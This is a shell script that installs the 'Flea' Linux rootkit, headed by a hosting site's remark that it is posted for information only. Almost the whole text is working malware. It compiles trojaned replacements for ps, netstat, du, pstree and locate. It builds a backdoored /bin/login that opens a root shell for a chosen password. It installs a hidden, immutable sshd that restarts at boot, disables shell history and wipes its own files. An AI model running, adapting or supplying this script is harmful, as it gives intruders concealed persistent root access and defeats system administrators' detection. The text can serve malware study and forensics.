#Openpages.info Remarks: This file is placed here for information purpose, #it will do nothing if it will be downloaded and executed. #Openpages.info do not host any kind of binary related to any rootkit. #!/bin/sh echo "" echo ' ------------------------------------------' echo ' /* |' echo ' #### # #### ##### /* |' echo ' # # # # # /* |' echo ' ### # ## ##### /* -[dmS]- |' echo ' # # # # # \* |' echo ' # #### #### # # \* |' echo ' \* |' echo ' -----------------------------------------' echo ' - Flea rootkit will be installed on this sys' echo ' - Powered by skatE\ * -=[ The diamondS ]=-' echo "" sleep 1 unset HISTFILE unset HISTSAVE unset DISPLAY echo " <* Installing sys troians" echo "" echo "..." sleep 1 echo "..." sleep 1 echo "..." sleep 1 gcc -o ps trojs/ps.c gcc -o netstat trojs/netstat.c gcc -o du trojs/du.c gcc -o locate trojs/locate.c gcc -o pstree trojs/pstree.c mv /bin/ps /usr/lib/ldlibps.so mv ps /bin/ps mv /bin/netstat /usr/lib/ldlibns.so mv netstat /bin/netstat mv /usr/bin/pstree /usr/lib/ldlibpst.so mv pstree /usr/bin/pstree mv /usr/bin/du /usr/lib/ldlibdu.so mv du /usr/bin/du mv /usr/bin/slocate /usr/lib/ldlibct.so rm -rf /usr/bin/locate cp locate /usr/bin/slocate mv locate /usr/bin/locate echo " <*> Done" echo "" echo " <* Installing ulogin" echo "#include " > ulogin.c echo "#if !defined(PASSWORD)" >> ulogin.c echo -n " Password " echo "" read PASSWORD echo "#define PASSWORD \"$PASSWORD\" " >> ulogin.c cat >>ulogin.c <<__eof__ #endif #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/usr/sbin/login" #endif main (argc, argv, envp) int argc; char **argv, **envp; { char *display = getenv("DISPLAY"); if ( display == NULL ) { execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } if (!strcmp(display,PASSWORD)) { system("/bin/bash"); exit(1); } execve(_PATH_LOGIN, argv, envp); exit(1); } __eof__ gcc ulogin.c -o login touch -r /bin/login login mv /bin/login /usr/sbin/login mv login /bin/login rm -rf ulogin* echo " <*> Done" echo "" echo " <* Installing ssh" echo " ssh Port" echo "" read SSHPORT echo " ssh Password" echo "" read SSHPASS echo "..." sleep 1 echo "..." sleep 1 echo "..." sleep 1 mkdir /lib/security/.config mkdir /lib/security/.config/ssh cp -rf sshd/leet/* /lib/security/.config/ssh/ chattr -ai /lib/security/.config/ssh chattr -ai /lib/security/.config/ssh/ssh_host_key chattr -ai /lib/security/.config/ssh/ssh_host_key.pub chattr -ai /lib/security/.config/ssh/ssh_random_seed sshd/./pg $SSHPASS >> /etc/ld.so.hash chattr -AacdisSu /etc/ld.so.hash chmod 777 /etc/ld.so.hash chattr +ais /etc/ld.so.hash echo "Port $SSHPORT" >> /lib/security/.config/ssh/sshd_config cat sshd/tconf >> /lib/security/.config/ssh/sshd_config cp -f sshd/sshd /lib/security/.config chattr -ai /lib/security/.config/sshd cp -f sshd/sshd /usr/bin/ssh2d /usr/bin/chattr +isa /usr/bin/ssh2d /usr/bin/ssh2d -q echo "#sshd check" >> /etc/rc.d/rc.sysinit echo "/usr/bin/ssh2d" >> /etc/rc.d/rc.sysinit echo " <*> Done" echo "" echo " Flea Linux rootkit installed" echo "" echo " -## Love will tear us apart ##-" echo "" echo " -=[ The diamondS ]=-" echo "" echo " Powered by skatE\" cd .. rm -rf flea